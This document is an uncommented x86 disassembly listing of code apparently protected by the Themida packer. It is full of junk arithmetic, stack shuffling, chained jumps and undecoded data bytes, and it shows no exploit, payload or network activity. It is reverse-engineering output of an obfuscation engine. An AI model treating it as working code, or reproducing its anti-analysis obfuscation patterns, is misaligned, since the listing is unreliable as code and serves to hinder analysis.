loc_564F74:				; CODE XREF: Themida_:0056303Bj
		mov	edi, 4D852F26h
		add	[esp+4], edi
		push	dword ptr [esp]
		jmp	loc_56680E
; ---------------------------------------------------------------------------


loc_564F85:				; CODE XREF: Themida_:0055E0A2j
		add	esp, 4
		sub	eax, 43A067EDh
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 7CA14E37h
		not	edi
		xor	edi, 835EB1CCh
		jmp	loc_560FBB
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF3C77h, 2434FF24h, 0FFECE0E9h, 0ECBA52FFh, 0C12BBE36h
		dd 20E906E2h, 81000053h, 4C7h, 2CCFE900h, 51660000h, 5152C4B5h
		dd 10E9B9B1h, 890000C5h, 5D575AD7h, 5F2434FFh, 7701E957h
		dd 0AEBD0000h, 31203274h, 0E6815DEEh, 42D92EC9h, 0FFFD3EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564FF9:				; CODE XREF: Themida_:00565079j
		mov	ch, ah
		push	ebx
		mov	bh, dl
		jmp	loc_55D317
; ---------------------------------------------------------------------------
		db 66h
		dd 4A04E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56500A:				; CODE XREF: Themida_:0056A148j
		push	esp
		pop	ebp
		push	edx
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		jmp	loc_572122
; ---------------------------------------------------------------------------


loc_56501C:				; CODE XREF: Themida_:005717EDj
		add	[esp+4], ebp
		add	dword ptr [esp+4], 2F855D9h
		add	dword ptr [esp+4], 57E0698Bh
		sub	dword ptr [esp+4], 5E9275A9h
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_562331
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812434h, 4, 0FFC00FE9h, 8DC281FFh, 0E9C07E38h, 2D9Fh
; ---------------------------------------------------------------------------


loc_56505C:				; CODE XREF: Themida_:0055D53Ej
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56A039
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
aLSQ		db '▀$$ИЛ÷',0
		align 4


loc_565078:				; CODE XREF: Themida_:0056D32Cj
		push	ecx
		jmp	loc_564FF9
; ---------------------------------------------------------------------------


loc_56507E:				; CODE XREF: Themida_:005728A6j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebp
		jmp	loc_56EABA
; ---------------------------------------------------------------------------


loc_565091:				; CODE XREF: Themida_:00571BE1j
		inc	edi
		xor	edi, 0DEE5786h
		sub	edi, 6C0034B6h
		jmp	loc_5674E3
; ---------------------------------------------------------------------------


loc_5650A3:				; CODE XREF: Themida_:00562441j
		xchg	edi, [esp]
		mov	esp, [esp]
		push	4F80h
		mov	[esp], edi
		push	ebp
		push	edx
		jmp	loc_56F2F1
; ---------------------------------------------------------------------------


loc_5650B8:				; CODE XREF: Themida_:0056D9BAj
		xor	esi, 0B990052h
		xor	esi, 49EBA31Dh
		xor	ebp, esi
		pop	esi
		sub	esp, 4
		jmp	loc_567FE4
; ---------------------------------------------------------------------------
aS_8		db ']И&*',0
		align 4
		dd 0E9E18951h, 0FFFF9DE6h, 582434FFh, 18A968h, 42FEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5650EE:				; CODE XREF: Themida_:0055FF4Fj
		pop	eax
		mov	ebx, [esp]
		jmp	loc_563C37
; ---------------------------------------------------------------------------
		db 81h
		dd 0E1768FC9h, 0C9B8E94Eh, 8B66FFFFh, 9F682404h, 0E9000038h
		dd 58CFh, 9300E95Ah, 0C4830000h, 0B629E904h, 0C166FFFFh
		dd 816608E3h, 661535C3h, 0DE9DE29h, 83FFFFCCh, 53E904C4h
		dd 570000B1h, 0D0E9E789h
		db 0CAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56513F:				; CODE XREF: Themida_:00566B80j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	6B14h
		mov	[esp], esi
		mov	esi, 33083381h
		push	eax
		mov	eax, 0
		sub	eax, esi
		mov	esi, eax
		jmp	loc_569BE2
; ---------------------------------------------------------------------------
aSm		db '╡;И╛╨',0
		db 0
; ---------------------------------------------------------------------------


loc_565171:				; CODE XREF: Themida_:00564CA7j
		push	37CE4DF2h
		pop	edi
		sub	edi, 4095093Dh
		neg	edi
		sub	edi, 8C6BB47h
		jmp	loc_56C225
; ---------------------------------------------------------------------------
		dw 4666h
		dd 5E6C166h, 24F68166h,	585FE92Bh, 89660000h, 50662414h
		dd 8147E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5651A6:				; CODE XREF: Themida_:0055DEC6j
		push	edx
		mov	edx, 20h
		add	edx, edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_570567
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81000000h, 4C7h, 243C8700h, 8621E9h
		db 0
; ---------------------------------------------------------------------------


loc_5651D9:				; CODE XREF: Themida_:005717ABj
		xor	edx, esi
		pop	esi
		add	ebp, edx
		jmp	loc_56547E
; ---------------------------------------------------------------------------


loc_5651E3:				; CODE XREF: Themida_:00572A53j
		add	ecx, 70CF1E38h
		pop	esi
		mov	esi, ecx
		mov	ecx, [esp]
		push	ecx
		jmp	loc_55E1A0
; ---------------------------------------------------------------------------
		db 1, 0C3h, 81h
		dd 814D51EBh, 24048B17h, 5604C483h, 2BEh, 53BF5700h, 0E9373357h
		dd 9962h, 401668h, 24348900h, 15EC68h, 240C8900h, 4EC81h
		dd 4890000h, 1EF7B824h,	0C18977F6h, 0FF94A9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565239:				; CODE XREF: Themida_:0055F333j
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		jmp	loc_5606D8
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 13E95B04h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_565257:				; CODE XREF: Themida_:0055D875j
		shr	edi, 1
		shr	edi, 8
		add	edi, 0CEEDE517h
		sub	ecx, edi
		pop	edi
		jmp	loc_56B8C5
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 68C8B70Fh, 22F3h,	0E9240C89h, 0FFFF806Dh
; ---------------------------------------------------------------------------


loc_565280:				; CODE XREF: Themida_:00560B25j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_560FA7
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0F2h
		dd 2976334Ch, 1746E9F8h, 0FF660000h, 0E99C240Ch, 0FFFF804Dh
		dd 4EC81h, 14890000h, 96B9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5652AE:				; CODE XREF: Themida_:00571DC4j
		mov	eax, 695343A2h
		mov	ebp, eax
		pop	eax
		jmp	loc_5642AF
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC81241Ch, 4, 0B8240489h, 7F696B02h, 324CE9h, 0E9E23000h
		dd 0FFFFDBABh, 0C468E589h, 0E9000042h, 822Bh
; ---------------------------------------------------------------------------


loc_5652E4:				; CODE XREF: Themida_:00570CDFj
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		push	39DA4785h
		mov	ebp, [esp]
		push	1178h
		mov	[esp], edx
		mov	edx, esp
		push	esi
		mov	esi, 76A3CF4h
		and	esi, 1AD1D6Ah
		or	esi, 184D1D87h
		shr	esi, 2
		add	esi, 7882351Ch
		neg	esi
		sub	esi, 81228367h
		add	edx, esi
		pop	esi
		push	edi
		mov	edi, 43FC51AFh
		dec	edi
		sub	edi, 0FFFFFFFFh
		sub	edi, 43FC51ABh
		add	edx, edi
		jmp	loc_56DDC6
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 875EE900h, 48FFFFFh, 24248B24h, 0E9028864h, 17D2h
; ---------------------------------------------------------------------------


loc_565354:				; CODE XREF: Themida_:005622C3j
		push	ecx
		mov	ecx, 0
		add	ecx, ebx
		add	dword ptr [ecx], 1
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_567AC9
; ---------------------------------------------------------------------------


loc_56536C:				; CODE XREF: Themida_:00563ABDj
		and	eax, edx
		mov	edx, [esp]
		push	7D50h
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56AF37
; ---------------------------------------------------------------------------
aLI4Ich1	db '▀$$┴4$┴Фh',9,'1',0
		dw 8900h
		dd 6853242Ch, 478430CBh, 0D20FE9h, 243C8900h, 4BFh, 0B3A9E900h
		dd 0C281FFFFh, 4F305229h, 5C33E281h, 0EAC17F02h, 13F28105h
		dd 812B6505h, 0B835C4F2h, 0EEB85038h, 1EC0ACDh,	0D68958C2h
		dd 0F0C3815Ah, 1699819h, 5D83E9F3h, 0C4830000h,	99BF5704h
		dd 0C16CF150h, 0DFF707E7h, 4708EFC1h, 0FFC8BE56h, 39E9E20Ah
		dd 31FFFFC6h, 34332434h, 14895C24h, 2474FF24h, 48F5A04h
		dd 24248B24h, 66F1F766h, 66326368h, 66241489h, 0BEE99C50h
		dd 0BFFFFF7Eh, 57296A13h, 84D4E9h, 80CAFE00h, 0D70011EAh
		dd 0FFEB6EE9h, 242C8BFFh, 81E18951h, 4C1h, 41956800h, 34890000h
		dd 4A72BE24h, 94E95CDCh, 81FFFF82h, 7254BEEDh, 81CD015Bh
		dd 7254BEC5h, 81F9E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565476:				; CODE XREF: Themida_:0056CA7Dj
		pop	edi
		sub	ecx, esi
		jmp	loc_56D8ED
; ---------------------------------------------------------------------------


loc_56547E:				; CODE XREF: Themida_:005651DEj
		mov	edx, [esp]
		jmp	loc_55D3B1
; ---------------------------------------------------------------------------


loc_565486:				; CODE XREF: Themida_:0055F88Ej
		xor	eax, edi
		pop	edi
		mov	esi, eax
		pop	eax
		sub	ecx, esi
		pop	esi
		xor	eax, ecx
		pop	ecx
		push	edi
		push	edx
		push	7EB87E6Ah
		pop	edx
		jmp	loc_56D662
; ---------------------------------------------------------------------------


loc_56549F:				; CODE XREF: Themida_:00572B03j
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		push	5FBCh
		mov	[esp], esi
		jmp	loc_56D2ED
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFA1F0E9h, 0E9CD21FFh, 0FFFFE44Fh, 12ECBD55h, 0F581064Fh
		dd 76DB270Eh, 8102EDC1h, 0FE1660F5h, 5DEA2901h,	54C6CA81h
		dd 0BE5636A5h, 24C932EBh, 8DE2E94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5654F6:				; CODE XREF: Themida_:0056A51Bj
		add	edx, edi
		sub	edx, 5652542Bh
		jmp	loc_56A0DB
; ---------------------------------------------------------------------------
		db 88h
		dd 24448AC2h, 99AE902h,	0CF000000h, 0DDE95059h
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565517:				; CODE XREF: Themida_:005607F5j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 35696A54h
		push	3BF4h
		jmp	loc_56489D
; ---------------------------------------------------------------------------
		dd 4C481h, 1C870000h, 0FEE95C24h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56553B:				; CODE XREF: Themida_:0056C8D2j
		add	esp, 4
		shl	eax, cl
		push	4B9h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_56E9BA
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4ECh, 240C8900h, 0C181E189h, 4, 55BDE9h
		dd 8CE95200h, 81FFFF81h, 4C7h, 243C3300h, 33243C31h, 685C243Ch
		dd 4566h, 68243C89h, 4606h, 52242489h, 4BAh, 24540100h
		dd 0E5E95A04h, 81FFFFD1h, 1B4222EEh, 988FE92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5655BA:				; CODE XREF: Themida_:00562348j
		add	ebx, ebp
		pop	ebp
		jmp	loc_56C5FC
; ---------------------------------------------------------------------------
		dw 489h
		dd 0EA06E924h, 0D300FFFFh, 0E97C045Ah, 7ADEh, 4FF76866h
		dd 7616866h, 0CDE95466h, 66FFFF95h, 5024048Bh, 405E089h
		dd 0E9000000h, 0FFFFC641h
; ---------------------------------------------------------------------------


loc_5655F4:				; CODE XREF: Themida_:0056B97Cj
		add	ebp, ebx
		pop	ebx
		jmp	loc_565E2D
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0FCE92414h, 10000B2h, 96EFE9D9h, 0D5290000h
		dd 0D01EE9h, 0C316600h,	0C336624h, 0DD95E924h, 3C8BFFFFh
		dd 4C48324h, 0E958C729h, 8839h,	0B4D2E952h, 0FD890000h
		dd 5F5DEB89h, 4359CB31h, 8107E3C1h, 41DB04C3h, 0E9D82934h
		dd 7139h, 49F28166h, 92E9575Dh,	29000034h, 6EC381D3h, 0E954AC63h
		dd 0C836h, 0E0C1D0F7h, 3F6F0502h, 1F050AEEh, 0E9AEFE4Fh
		dd 0FFFFCD60h, 0B060F5BBh, 0CB814B06h, 5B3223F5h, 4163F381h
		dd 0E9816E1Ch, 693C4F11h, 726DC181h, 0D9014790h, 726DE981h
		dd 0C1814790h, 693C4F11h, 0FCE1815Bh, 0E975AE34h, 2906h
		dd 6624248Bh, 0E9240489h, 0FFFF7C2Dh, 0B0E9CA29h, 0BD0000A4h
		dd 326849F2h, 388EBA52h, 37E914B8h, 0C1FFFFADh,	700505E8h
		dd 0E930C70Eh, 6634h, 33241C31h, 248B241Ch, 4EC8324h, 89241C89h
		dd 668E9E3h, 0F5810000h, 103999h, 34FFE821h, 769FE924h
		dd 2C890000h, 2BD24h, 68520000h, 658Bh,	0E9243C89h, 0FFFFFE59h
		dd 0D5F7E5D1h, 0FFB7E2E9h, 0F02958FFh, 8324348Bh, 0EC2D04C4h
		dd 0E9016411h, 0FFFFBA36h
; ---------------------------------------------------------------------------


loc_56573C:				; CODE XREF: Themida_:00564AD2j
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [eax]
		xor	dword ptr [eax], 74767612h
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
a4Xhi		db '4',0Dh,'(цXh╘<',0
		dd 24048900h, 0EC802AB4h, 58E328A9h, 0C380CB28h, 0F6C38081h
		dd 0E92434FFh, 0FFFFA639h
; ---------------------------------------------------------------------------


loc_565778:				; CODE XREF: Themida_:005625DCj
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56E05D
; ---------------------------------------------------------------------------


loc_565782:				; CODE XREF: Themida_:00563A4Cj
		or	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	7E02h
		mov	[esp], edx
		mov	edx, 7AF36A8Fh
		add	edx, 0FA000C50h
		jmp	loc_56F22C
; ---------------------------------------------------------------------------


loc_5657A2:				; CODE XREF: Themida_:00562044j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebx
		mov	ebx, 2A163319h
		or	ebx, 60F445EFh
		shr	ebx, 8
		sub	ebx, 16FA1700h
		xor	ebx, 168F2088h
		add	eax, ebx
		pop	ebx
		add	eax, 0F8013E21h
		sub	esi, eax
		jmp	loc_568627
; ---------------------------------------------------------------------------
		db 89h
		dd 0C8B1240Ch, 0E980E1D0h, 0E8B652FFh, 80F2CE80h, 0E6D08CEEh
		dd 2841F680h, 7E49E9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5657F2:				; CODE XREF: Themida_:00560C43j
		pop	edi
		jmp	loc_56E430
; ---------------------------------------------------------------------------


loc_5657F8:				; CODE XREF: Themida_:0056D11Cj
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_56589C
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 0F6ED8102h, 815FA655h, 2D8E07F5h, 0EEF3E9D4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56581A:				; CODE XREF: Themida_:0056A1B8j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55F77C
; ---------------------------------------------------------------------------
		dd 24048F5Bh, 42F268h, 240C8900h, 4B9h,	24448100h, 2C615A04h
		dd 2444816Ch, 0AF1E8904h, 244C015Eh, 4C16E904h,	0A3350000h
		dd 0D1613D46h, 7D7305E0h, 484075ACh, 0D81BE56h,	0DEF72FE7h
		dd 0D6F7D6F7h, 2CB4F681h, 0F0313CD8h, 0FFC7015Eh
		db 34h,	24h, 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55DF0D
; ---------------------------------------------------------------------------


loc_56589C:				; CODE XREF: Themida_:00565801j
		add	esp, 4
		jmp	loc_55F709
; ---------------------------------------------------------------------------


loc_5658A7:				; CODE XREF: Themida_:00565CC8j
		add	esp, 4
		push	ebx
		push	eax
		mov	eax, 6BB91089h
		mov	ebx, 1CC66EE6h
		jmp	loc_56119C
; ---------------------------------------------------------------------------
		db 1
aXzLQ		db 'гX┤<$▀$$(цQ╠|',0
		dw 59CBh
		dd 0FE5EB80h, 6866C0B6h, 89662135h, 0EE92404h, 0C1FFFF7Ah
		dd 310D05E0h, 0E95B5929h, 67B2h, 5204C483h, 0BF57E289h
		dd 4, 5B71E9h, 0FFFD2800h, 815B2434h, 4C4h, 91ED8000h
		dd 80A2E580h, 0DDF664CDh, 3060ED80h, 56D4E9EFh,	0EA810000h
		dd 769D3BC6h, 0F170F281h, 0D731C5E7h, 80B9515Ah, 52127A26h
		dd 873EE2BAh, 3E28171h,	0F706D37Ah, 814242DAh, 8D62DFC2h
		dd 5AD1214Bh, 0E9C1D1F7h, 0E9D9F708h, 28A5h, 0DF1E64BEh
		dd 51C68168h, 81534617h, 51A5EEh, 81DEF751h, 0F9EF3EEEh
		dd 57C2815Dh, 2902E344h, 0B958E9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56597E:				; CODE XREF: Themida_:005685E4j
		mov	dx, [esp]
		push	3F4Ah
		jmp	loc_5611C9
; ---------------------------------------------------------------------------
		dd 0EC83EA89h, 0C75FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565996:				; CODE XREF: Themida_:0056E3D7j
		mov	edi, 0DA44F2Eh
		neg	edi
		sub	edi, 3C110531h
		neg	edi
		or	edi, 15033B8Fh
		add	edi, 113C9424h
		push	eax
		jmp	loc_564CCF
; ---------------------------------------------------------------------------
		db 0F7h
aTSF		db 'раБ',8,'И(F',0
		dd 88B6B600h, 1B27E9F4h, 0E9B70000h, 0C9968h, 240C8900h
		dd 8B65E9h
		db 0
; ---------------------------------------------------------------------------


loc_5659D9:				; CODE XREF: Themida_:00567FECj
		pop	eax
		xor	ebp, eax
		jmp	loc_55F02B
; ---------------------------------------------------------------------------


loc_5659E1:				; CODE XREF: Themida_:0055DF90j
		or	esi, 1FA57953h
		and	esi, 48D1595Dh
		or	esi, 57BC48BBh
		jmp	loc_56209D
; ---------------------------------------------------------------------------


loc_5659F8:				; CODE XREF: Themida_:00561807j
		add	esp, 4
		jmp	loc_56F3FE
; ---------------------------------------------------------------------------


loc_565A00:				; CODE XREF: Themida_:0057252Cj
		mov	[esp], cx
		push	eax
		mov	ah, 0EDh
		add	ah, 38h
		mov	cl, ah
		jmp	loc_569B09
; ---------------------------------------------------------------------------


loc_565A11:				; CODE XREF: Themida_:0056465Ej
		not	dword ptr [esp]
		pop	ebp
		add	ebp, 74971B96h
		jmp	loc_56F6AF
; ---------------------------------------------------------------------------
		dd 8264AFBDh, 0AAF5814Fh, 891AC33Fh, 0C3295DE8h, 242C8B58h
		dd 4C481h, 5C010000h, 1C8B0424h, 4C48124h, 8B000000h, 0C481242Ch
		dd 4, 0FFD70AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565A55:				; CODE XREF: Themida_:00569CBEj
		add	al, bl
		jmp	loc_5633A1
; ---------------------------------------------------------------------------
aZbuDhWs	db 'Z│Н#Dh%WИс╧',0
		dd 0FCE95800h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565A6F:				; CODE XREF: Themida_:0056103Ej
		mov	edi, [esp]
		jmp	loc_5637CA
; ---------------------------------------------------------------------------
		db 50h
		dd 468h, 0DD0DE900h, 0E956FFFFh, 0FFFFE772h
; ---------------------------------------------------------------------------


loc_565A88:				; CODE XREF: Themida_:005718DBj
		add	edx, 29B64EA5h
		sub	edx, 52F33B1Bh
		jmp	loc_56CF52
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 2414895Ch, 0EC8110B2h, 4, 0FF9E98E9h, 2434FFFFh, 27C36858h
		dd 48E90000h, 81FFFF81h, 4E9h, 240C8700h, 9F81E9h
		db 0
; ---------------------------------------------------------------------------


loc_565AC9:				; CODE XREF: Themida_:00571730j
		not	edi
		jmp	loc_5669B7
; ---------------------------------------------------------------------------
		dd 4F38143h, 29353C96h,	0F6815BDEh, 3AF8EFD2h, 0FFA8D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565AE5:				; CODE XREF: Themida_:00562BF2j
		mov	edi, [esp]
		add	esp, 4
		not	edi
		or	edi, 3EFC33FBh
		inc	edi
		xor	edi, 9F20C1E3h
		mov	eax, edi
		pop	edi
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	ebx, eax
		pop	eax
		add	ebx, 21442E22h
		push	edi
		mov	edi, 6F2C1A10h
		sub	ebx, edi
		jmp	loc_5722BB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E2E92424h, 0D1FFFFE2h, 4E068EEh, 0C890000h,	53E18924h
		dd 0F82C57BBh, 0C3814B3Dh, 0C207D3AEh, 7720E981h, 0D90162CFh
		dd 7720C181h, 1C8B62CFh, 4C48324h, 4E981h, 39E90000h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565B5B:				; CODE XREF: Themida_:00568DB7j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_572628
; ---------------------------------------------------------------------------
		dw 8668h
		dd 8900000Dh, 0BB532424h, 4, 4245C01h, 0FFFCB7E9h, 0DEC80FFh
		dd 0BD72E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565B86:				; CODE XREF: Themida_:00563DBEj
		mov	eax, [esp]
		add	esp, 4
		sub	edi, 0F226DBEEh
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, 25A56ABBh
		sub	ebx, 782308A3h
		add	ebx, edi
		add	ebx, 782308A3h
		add	ebx, 25A56ABBh
		jmp	loc_55EB65
; ---------------------------------------------------------------------------
		dd 1F83BD55h, 0EF096AACh, 81EFD15Dh, 761449EFh,	0BB535679h
		dd 5A42C89h, 8E97E9h, 2CD36600h, 0AE99C24h, 8AFFFF77h
		dd 8804245Ch, 0E904244Ch, 0FFFF9D62h
; ---------------------------------------------------------------------------


loc_565BF0:				; CODE XREF: Themida_:00562779j
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 7C9113DFh
		sub	edx, ecx
		pop	ecx
		add	edx, eax
		push	ebx
		push	edi
		mov	edi, 295D2951h
		sub	edi, 0BB3C8Ch
		inc	edi
		dec	edi
		sub	edi, 365751Ah
		mov	ebx, edi
		pop	edi
		jmp	loc_571D80
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0F9h
		dd 8117E822h, 8F47E2C7h, 0E9DF0124h, 8A9Dh, 5D168905h
		dd 30EB819Eh, 0E9314C5Ch, 8DADh, 3B660E2Dh, 55E80143h
		dd 0B10788BDh, 38ED816Bh, 0C10B5059h, 52E903EDh, 0BE000018h
		dd 2231278Dh, 0EE81D6F7h, 4CED15E1h, 55FFEE83h,	0D70E2DBDh
		dd 0D0F79524h, 91ED8195h, 0E96DA94Fh, 0B27Ah
; ---------------------------------------------------------------------------


loc_565C90:				; CODE XREF: Themida_:0056CE1Aj
		xor	ah, 43h
		xor	ah, 0B1h
		add	bl, ah
		pop	eax
		jmp	loc_56A806
; ---------------------------------------------------------------------------
		dw 1C89h
aFrsO		db '$ЁFRИ[O',0
		db 0
; ---------------------------------------------------------------------------


loc_565CA9:				; CODE XREF: Themida_:00570FB1j
		push	4469h
		mov	[esp], eax
		push	330E31D8h
		pop	eax
		dec	eax
		sub	eax, 0F3BE2300h
		mov	edi, eax
		pop	eax
		jmp	loc_56F988
; ---------------------------------------------------------------------------


loc_565CC5:				; CODE XREF: Themida_:0056FC92j
		mov	ebp, [esp]
		jmp	loc_5658A7
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 0E9000000h, 194Bh, 15BDD89h,	0E95DE8h, 53000026h, 42474FFh
		dd 24048F5Bh, 9EBA525Ch, 4A4B4637h, 0C91EA81h, 0E2C15065h
		dd 2FC28102h, 816C1743h, 0B1E3FE2h, 7EC2815Eh, 0E9C733F4h
		dd 3B3Fh
; ---------------------------------------------------------------------------


loc_565D14:				; CODE XREF: Themida_:0057218Fj
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55F5DF
; ---------------------------------------------------------------------------
		db 5Ch
		dd 242C8B66h, 8102C483h, 2ECh, 2C896600h, 0EFA4E924h, 2C89FFFFh
		dd 0F2C56824h, 2C8B4F53h, 0E3895324h, 4C381h, 0C3830000h
		dd 241C8704h, 0FFE8315Ch, 2C8B2434h, 84C1E924h,	0C381FFFFh
		dd 4, 8704C383h, 0E95C241Ch, 0FFFF7579h
; ---------------------------------------------------------------------------


loc_565D74:				; CODE XREF: Themida_:0056F4A0j
		pop	edi
		add	edi, 3E9A0A32h
		add	edi, edx
		sub	edi, 3E9A0A32h
		pop	edx
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	edi
		push	ebx
		mov	ebx, 34A60310h
		mov	edi, 0D8E4034Ch
		jmp	loc_5614BC
; ---------------------------------------------------------------------------
		db 68h,	2 dup(0)
		dd 2C280000h, 242C8A24h, 5204C483h, 0F53028B6h,	8818E95Ah
		dd 34FFFFFFh, 88E95D24h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565DC3:				; CODE XREF: Themida_:00567C55j
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, eax
		push	ecx
		push	ebx
		jmp	loc_55F48C
; ---------------------------------------------------------------------------


loc_565DD2:				; CODE XREF: Themida_:0056C1DBj
		xchg	eax, ebp
		not	eax
		push	eax
		dec	dword ptr [esp]
		pop	eax
		not	eax
		push	edi
		mov	edi, 0C2C70F0Bh
		sub	eax, edi
		jmp	loc_56B6B9
; ---------------------------------------------------------------------------


loc_565DE9:				; CODE XREF: Themida_:0057251Ej
		or	ecx, 752E0613h
		not	ecx
		shl	ecx, 7
		or	ecx, 2337639Eh
		xor	ecx, 0F5CCC2Dh
		add	eax, ecx
		pop	ecx
		jmp	loc_55E889
; ---------------------------------------------------------------------------
		dd 0AF26E959h, 0BD55FFFFh, 50704561h, 0FF7D09E9h, 0CBDB9FFh
		dd 0F181276Fh, 75D75A64h, 0E987D1F7h, 1C32E9h
		db 0
; ---------------------------------------------------------------------------


loc_565E2D:				; CODE XREF: Themida_:005655F7j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 29037A35h
		add	ebp, 0D6FC85CFh
		sub	eax, 3B9A50E4h
		add	eax, ebp
		jmp	loc_56ADC9
; ---------------------------------------------------------------------------
		dw 0EC80h
		dd 0E9E3282Fh, 0FFFFD876h, 54B605ADh, 0C00520D4h, 0E9363849h
		dd 0B8CDh, 0B151D828h, 0D470E9ECh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565E72:				; CODE XREF: Themida_:0056953Ej
		pop	ebx
		pop	ecx
		mov	cl, dh
		pop	edx
		jmp	loc_5662C1
; ---------------------------------------------------------------------------
		dd 4244401h, 4244481h, 222D189Fh, 582434FFh, 5B04C483h
		dd 183EEB81h, 52E909B1h, 0BDFFFF74h, 6AF30018h,	0E95DEE21h
		dd 0FFFFB988h, 2245488h, 0D0F65A66h, 0FF891BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565EB5:				; CODE XREF: Themida_:0056C2C7j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_560A7F
; ---------------------------------------------------------------------------


loc_565EE1:				; CODE XREF: Themida_:00564CFEj
		dec	ebx
		push	edi
		mov	edi, 0FFFFFFFFh
		add	ebx, 6F681F11h
		add	ebx, edi
		jmp	loc_566CCC
; ---------------------------------------------------------------------------


loc_565EF5:				; CODE XREF: Themida_:0056C169j
		xor	esi, ebx
		pop	ebx
		xchg	ecx, esi
		push	ebx
		jmp	loc_55D84C
; ---------------------------------------------------------------------------
		dd 8BB8505Fh, 5127347h,	0ED8CB879h, 6E2CEB81h, 0C3013892h
		dd 9500E9h, 0E9EB2900h,	53Bh, 0A4C38166h, 47A5E962h, 14890000h
